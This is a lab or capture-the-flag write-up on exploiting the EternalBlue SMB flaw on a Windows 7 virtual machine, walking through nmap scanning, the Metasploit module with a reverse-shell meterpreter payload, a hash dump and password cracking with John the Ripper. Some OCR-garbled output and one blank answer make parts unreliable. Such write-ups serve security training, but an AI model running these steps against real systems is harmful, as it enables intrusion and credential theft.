# **ETERNALBLUE** Windows Previledge Escalation

Lab Report

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# **1. Executive Summary**

# 1.1 Scope of work

- 1. The assessment was carried out from CTF Perspective, with the only supplied information being the tested VMs IP address.
- 2. The host machine was being Kali Linux VM and target was Windows 7 Professional SP1 VM 192.168.43.180 address.
- 3. Perform the penetration and answering the question.

# **1.2 Project objectives**

1. This security assessment is carried out to demonstrate the EternalBlue exploit on a vulnerable vm with ms17-010 vulnerability.

2. Finding the answers of these questions:

#\$!	Questions
1.	How many ports are open with a port number under 1000?
2.	What is the machine vulnerable to?
3.	What is the non-default user?
4.	What is the cracked password?

# **1.3 Assumption**

1. While performing this lab we assumed that VM is has unpatched MS17-010 vulnerability.

2. Both machines have working internet connection and connected in same network and they can talk to each other.

# 1.4 Timeline

The timeline of the Lab is as below:

Penetration Testing	Start Date	End Date	
EternalBlue Exploitation	17/09/2022	17/09/2022	

# 2. Methodology

We are going to use the usual methodology.



### 2.1 Recon (Reconnaissance)

This is the very first stage of hacking, where attacker does as much as possible research about the target. It is also known as footprinting. Which include three main points.

- 1. Network
- 2. Host
- 3. People involved

There are two types of Footprinting:

- **Active**: Directly interacting with the target to gather information about the target. Eg. Using Nmap tool to scan the target.
- **Passive**: Trying to collect the information about the target without directly accessing the target. This involves collecting information from social media, public websites etc.

# 2.2 Scanning

There are three types of scanning are involved:

- **Port scanning**: This phase involves scanning the target for the information like open ports, Live systems, various services running on the host.
- **Vulnerability Scanning**: Checking the target for weaknesses or vulnerabilities which can be exploited. Usually done with help of automated tools.

• **Network Mapping**: Finding the topology of network, routers, firewalls servers if any, and host information and drawing a network diagram with the available information. This map may serve as a valuable piece of information throughout the hacking process.

## 2.3. Gaining Access:

This phase is where an attacker breaks into the system/network using various tools or methods. After entering into a system, he has to increase his privilege to administrator level so he can install an application he needs or modify data or hide data.

# 2.4. Privilege Escalation:

Once hackers have infiltrated a server or PC, it is common to immediately try to get higher-level permissions on that machine. This is called privilege escalation and serves two purposes.

First, the hacker can establish a new account as the server administrator with a unique ID and password. This allows the hacker to simply log in for access on the next visit, rather than trying to inject malware each time.

# 2.5. Cracking:

After getting higher privilege a hacker might wants to crack the password of user of the machine so he can log into the target machine whenever he if he wants without the knowledge of the user or worse change the password and leaving user locked out.

He can use bruteforcing, dictionary attack, social engineering or decrypting the hash of password if he get access to them. There popular password cracking tool called john the ripper which automate the password cracking this can be very helpful in our lab.

# 3. Recon

Scan the machine for vulnerabilities with script to finding known vulnerabilities.

sudo nmap -sV --script=vuln -oN win7vm 192.168.43.180



# 3.1 Scan Results

Host is up (0.0011s latency). Not shown: 902 closed ten ports (reset)
Port State Service Version
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
Service into: Host: JUN-PC; US: Windows; CPE: cpe:/o:microsoft:Windows
Net conint results.
i smb-uila-msia-054: false
smb-vuln-ms17-010:
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1
servers (ms17-010).
Disclosure date: 2017-03-14
https://blogs.tochpot.microsoft.com/msrc/2017/05/12/customer.guidance.for.wappacrupt.attacks/
https://dochort.microsoft.com/an_us/library/security/ms17-2010ance-for-wannaciypt-attacks/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVF-2017-0143
samba-vuln-cve-2012-1182: NT STATUS ACCESS DENIED
_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

## 3.2 Detail System Information

IP ADDRESS	SYSTEM TYPE	OS INFORMATION	OPEN PC	ORTS						
192.168.43.180	Virtual	Microsoft	Port	Protocol	Service	Version				
Machine	Machine	Windows 7	135	ТСР	msrpc	Microsoft Windows RPC				
	Service Pack 1	Service Pack 1	139	ТСР	netbios-ssn	Microsoft Windows netbios-ssn				
			445	ТСР	Microsoft-ds	Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)				
			49152	ТСР	msrpc	Microsoft Windows RPC				
			49153	ТСР	msrpc	Microsoft Windows RPC				
			49154	ТСР	msrpc	Microsoft Windows RPC				
							49155	ТСР	msrpc	Microsoft Windows RPC
			49156	ТСР	msrpc	Microsoft Windows RPC				

## 3.3 Vulnerability Assessment

- 8 Open Ports: 135, 139, 445, 49152, 49153, 49154, 49155, 49156
- 1 Vulnerability: smb-vuln-ms17-010

- CVE-ID: CVE-2017-0143
- CVSS v3.1 Base Score: 8.1
- SEVERITY: High
- IMPACT: Remote code execution vulnerability in Microsoft SMBv1.
- MITIGATION: <u>https://technet.microsoft.com/library/security/ms17-010</u>

# 4. Gain Access

Now we found the vulnerability we can access the target using the exploit.

#### 4.1 Step 1: Starting up Metasploit Console

The first step, as always, is to fire up Kali and start the Metasploit console.

>\_ sudo msfconsole



### 4.2 Step 2: Load EternalBlue Module

Once you have the "msf >" prompt, you are ready to start exploiting your target system. We need to first load the EternalBlue exploit module into the Metasploit console. We can do this by entering:

>\_ search ms17-010

msf6	> search ms17-010				
Match	ing Modules				
#	Name	Disclosure Date	Rank	Check	Description
	and the second se				
0	exploit/windows/smb/ms17 010 eternalblue	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1	exploit/windows/smb/ms17 010 psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2	auxiliary/admin/smb/ms17 010 command	2017-03-14	normal	No	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3	auxiliary/scanner/smb/smb ms17 010		normal	No	MS17-010 SMB RCE Detection
4	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SMB DOUBLEPULSAR Remote Code Execution
Inter	act with a module by name or index. For ex	ample info 4, use	4 or use		t/windows/smb/smb_doublepulsar_rce
	Home				
msf6	>				

Once we found we have exploit/windows/smb/ms17\_010\_eternalblue installed we can use that for exploitation.



Now that EternalBlue module is loaded we can use it to perform our exploit.

#### 4.3 Step 3: Check "Info"

To know more about module, we can use `info` command to display the information about how the module works.



De	escription: This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead. On some systems, this module may cause exstem instability and
	SMBUser, SMBPass, and SMBDomain options it will use those instead. On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads.

As you can see above, Metasploit provides us with some basic information (Name, Platform, Privileged, Rank, etc.) on the module at the top, some options in the middle and a description of the module at bottom.

### 4.4 Step 4: Set the payload

Now that we have loaded our module and have some basic information on it, it is time to select a payload to work with it. To see all the payloads that will work with this module, you can enter:

#### >\_ show payloads



It's important to note that the "show payloads" command run after selecting the exploit will only show you the payloads that will work with that exploit. If you run it before selecting your exploit, it will show you ALL the payloads.

In this example, I will be using our tried and true "windows/x64/meterpreter/reverse\_tcp" payload, but you can use any of the others that appear on your payload list. If we are successful with this payload, it will provide us with a Windows command shell on our target system.

>\_ set payload windows/x64/meterpreter/reverse\_tcp

msf6 exploit(windows/smb/ms17\_010\_eternalblue) > set payload windows/x64/meterpreter/reverse\_tcp
payload ⇒ windows/x64/meterpreter/reverse\_tcp
msf6 exploit(windows/smb/ms17\_010\_eternalblue) >

#### 4.5 Step 5: Set options

The last step before we exploit is to set our options. To see available options with this exploit and payload combination, enter:

#### >\_ show options

<u>msto</u> exploit(windows/smb/ms17_010_eternalblue) > snow options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description	
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PHORTS vas The target host(s) see https://githuh.com/ranid7/metasnloit_framework/wibi/Using-Metasnloit	
RPORT 445 ves The target port (TCP)	
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Win ws 7. Windows Embedded Standard 7 target machines.	do
SMBPass no (Optional) The password for the specified username	
SMBUser no (Optional) The username to authenticate as	
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows , Windows Embedded Standard 7 target machines.	
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Window	s
Embedded Standard 7 target machines.	
Home	
Payload options (windows/x64/meterpreter/reverse_tcp):	
Name Current Setting Required Description	
EXITEINC thread yes Evit technique (Accented: '' set thread process none)	
LHOST 127.0.0.1 ves The listen address (an interface may be specified)	
LPORT 4444 yes The listen port	
Evalait target.	
Explore target.	
Td Name	
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As you can see, there are numerous options, but the only options we need to set are **LHOST** (our IP) and the **RHOST** (the target IP) along with the LPORT and RPORT.

- >\_ set RHOSTS 192.168.43.180
- >\_ set RPORT 445
- >\_ set LHOST 192.168.43.209
- >\_ set LPORT 4444

After setting those options, let's once again check the options to make certain everything was typed properly and that everything we need is set.

>\_ show options

#### msf6 exploit(windows/smb/ms17\_010\_eternalblue) > show options

#### Module options (exploit/windows/smb/ms17\_010\_eternalblue):

Name	Current Setting	Required	Description
RHOSTS	192.168.43.180	yes	The target host(s), see https://github.com/rapid 7/metasploit-framework/wiki/Using-Metasploit
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authent ication. Only affects Windows Server 2008 R2, Wi ndows 7, Windows Embedded Standard 7 target mach ines.
SMBPass		no	(Optional) The password for the specified userna me
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Tar get. Only affects Windows Server 2008 R2, Window s 7, Windows Embedded Standard 7 target machines
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windo ws Embedded Standard 7 target machines.

#### Payload options (windows/x64/meterpreter/reverse\_tcp):

Name Current Setting Required Description

SMBPass	Home	no	(Optional) The password for the specified userna
SMBUser		no	me (Optional) The username to authenticate as
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VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windo ws Embedded Standard 7 target machines.

#### Payload options (windows/x64/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, n one)
LHOST LPORT	192.168.43.209 4444	yes yes	The listen address (an interface may be specified) The listen port
Exploit tar	get:		
Id Name  0 Autor	matic Target		

#### 4.6 Step 6: Run Exploit

Now that we have all options set up, we can run the exploit.

Using either "run or "exploit" command

>\_ exploit

<pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; exploit</pre>
<pre>[*] Started reverse TCP handler on 192.168.43.209:4444 [*] 192.168.43.180:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.43.180:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 760 1 Service Pack 1 x64 (64-bit) [*] 192.168.43.180:445 - Scanned 1 of 1 hosts (100% complete)</pre>
[+] 192.168.43.180:445 - The target is vulnerable.
192.168.43.180:445 - Connecting to target for exploitation.
[+] 192.168.43.180:445 - Connection established for exploitation.
[+] 192.168.43.180:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.43.180:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.43.180:445 - 0×00000000 5/ 69 66 64 6f // /3 20 3/ 20 50 /2 6f 66 65 /3 Windows / Drofee
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[*] 192.168.43.180:445 - 0×00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack
1
[+] 192.168.43.180:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.43.180:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.43.180:445 - Sending all but last fragment of exploit packet
192.168.43.180:445 - Starting non-paged pool grooming
[+] 192.168.43.180:445 - Sending SMBV2 Duffers
[+] 192.108.43.180.443 - Closing SMBVI connection creating free note adjacent to SMBV2 buffer.
(*) 192.106.43.180:445 - Sending last fragment of exploit packet!
12.168.43.180:445 - Receiving response from exploit packet
<pre>[+] 192.168.43.180:445 - ETERNALBLUE overwrite completed successfully (0×C000000D)!</pre>
192.168.43.180:445 - Sending egg to corrupted connection.
[*] 192.168.43.180:445 - Triggering free of corrupted buffer.

As you can see above, Metasploit and EternalBlue are attempted to exploit the Windows 7 SMB protocol. Down below you can see that Metasploit reports back that we are successful and we received a Windows command prompt on the target system. Success!

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[★] 192.168.43.180:445 - 0×00000020 69 63 65 20 50 61 63 6b 20 31	ice Pack
<pre>1 [+] 192.168.43.180:445 - Target arch selected valid for arch indicated by DCE/RPC re [•] 192.168.43.180:445 - Trying exploit with 17 Groom Allocations. [•] 192.168.43.180:445 - Sending all but last fragment of exploit packet [•] 192.168.43.180:445 - Sending SMBv2 buffers [+] 192.168.43.180:445 - Closing SMBv2 buffers. [•] 192.168.43.180:445 - Sending final SMBv2 buffers. [•] 192.168.43.180:445 - Sending last fragment of exploit packet! [•] 192.168.43.180:445 - Receiving response from exploit packet [•] 192.168.43.180:445 - Receiving response from exploit packet [•] 192.168.43.180:445 - Sending geg to corrupted successfully (0×C000000D)! [•] 192.168.43.180:445 - Triggering free of corrupted buffer. [•] Sending stage (200774 bytes) to 192.168.43.180 [•] 192.168.43.180:445 - Jone (192.168.43.180] [•] J92.168.43.180:445 - Jone (192.168.43.180] [•] J92.168.43.180:445 - Jone (192.168.43.180] [•] J92.168.43.180:445 - Jone (192.168.43.180] [•] J92.168.43.180[J02] ] </pre>	ply v2 buffer.
[+] 192.168.43.180:445 - ==	-=
[+] 192.168.43.180:445 - =-=-	
[+] 192.108.43.180:445	-=
<pre>meterpreter &gt; sysinfo Computer : JON-PC</pre>	
OS : Windows 7 (6.1 Build 7601, Service Pack 1).	
Architecture : X04 System Landuade : en US	
Domain : WORKGROUP	
Logged On Users : 0	
Meterpreter : x64/windows	
meteroreter >	

We Got <u>WIN</u>!

It means we successfully exploited the target machine.

We got the meterpreter shell and now we can use metasploit's specifically designed commands to interact with target system which can be found through `help` command.

# 5. Escalation

To verify that we are now on the Windows system, let's type "sysinfo" to see whether it displays target system information.

>\_ sysinfo



You can see now we are inside the target machine and it displaying host name: JON-PC; OS: Windows 7; arch: x64, etc information.

We can perform various attacks on tasks on target.

Example: - Taking a screenshot of targets desktop

>\_ screenshot

m <u>eterpreter</u> > Screenshot sa m <u>eterpreter</u> >	screenshot ved to: /home/kali/m	rwgkBPkj.jpeg			
			kali		008)0
File Actions	File Edit View Go	Help			
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play	Places				
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	Network				
Command	📕 Browse Network	=			
timestomp		10 folders, 3 fil	es: 25.6 KiB (26.25	9 bytes). Free	space: 61.0 GiB
<pre>meterpreter &gt; Screenshot sav meterpreter &gt;</pre>	ved to: /home/kali/rwg	kBPkj.jpeg	C5. 25.6 NB (20,25	5 57 (25), 11 (21)	

Such various kinds of attacks can be access through `help` command.

# 6. Cracking

Now we need to find password of user Jon for that we use hashdump command:



Copy the line from "Jon" to ":::" and save it inside file and name it as "hash".

We need to find out the which hash format is this with hashid command.

>\_ hashid <hash>



Now that we know it is NT hash format, we can use it to decrypt the hash and get our password through command called john.

>\_ john -format=nt -wordlist=rockyou.txt <filename>



Now that we got the password which is alqfna22 of the user jon we can log into the system and leave a message to user to let him know he's been hacked and the patching method for it.



# 7. Reporting

Collecting all the necessary screenshots and compiling the detailed report of **Eternalblue exoloitation Lab**.

We have collected all the information and compiled it into this report.

Let's recall all the questions that we asked at the beginning.

#\$!	Questions and Answers
1.	How many ports are open with a port number under 1000?
Ans:	3 Ports, which were: 135, 139, 445.
2.	What is the machine vulnerable to?
Ans:	0
3.	What is the non-default user?
Ans:	jon
4.	What is the cracked password?
Ans:	alqfna22

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